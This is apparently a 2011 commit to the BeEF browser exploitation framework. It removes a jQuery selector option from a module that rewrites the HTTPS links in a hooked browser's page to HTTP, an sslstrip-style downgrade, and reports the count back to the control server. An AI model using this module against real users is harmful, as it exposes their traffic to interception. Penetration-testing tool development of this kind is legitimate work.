Fixes issue 450

The selector field has been removed from the Replace HREFs (HTTPS) module
This commit is contained in:
bcoles
2011-11-27 02:06:34 +10:30
parent e76909cd4a
commit 455f862e11
3 changed files with 3 additions and 8 deletions

View File

@@ -15,10 +15,11 @@
//
beef.execute(function() {
selector = "a";
old_protocol = "https";
new_protocol = "http";
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+beef.dom.rewriteLinksProtocol(old_protocol, new_protocol, '<%= @selector %>')+' '+old_protocol+' links rewritten to '+new_protocol);
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+beef.dom.rewriteLinksProtocol(old_protocol, new_protocol, selector)+' '+old_protocol+' links rewritten to '+new_protocol);
});

View File

@@ -19,7 +19,7 @@ beef:
enable: true
category: "Browser"
name: "Replace HREFs (HTTPS)"
description: "This module will rewrite all the href attributes of HTTPS links to use HTTP instead of HTTPS. Links relative to the web root are not rewritten.<br /><br />The jQuery selector field can be used to limit the selection of links. eg: a[href=\"http://beefproject.com\"]. For more information please see: http://api.jquery.com/category/selectors/"
description: "This module will rewrite all the href attributes of HTTPS links to use HTTP instead of HTTPS. Links relative to the web root are not rewritten."
authors: ["bcoles"]
target:
working: ["ALL"]

View File

@@ -15,12 +15,6 @@
#
class Link_rewrite_sslstrip < BeEF::Core::Command
def self.options
return [
{ 'ui_label'=>'jQuery Selector', 'name'=>'selector', 'description' => 'Optional link selector other than all a* tags', 'value'=>'a', 'width'=>'200px' }
]
end
def post_execute
save({'result' => @datastore['result']})
end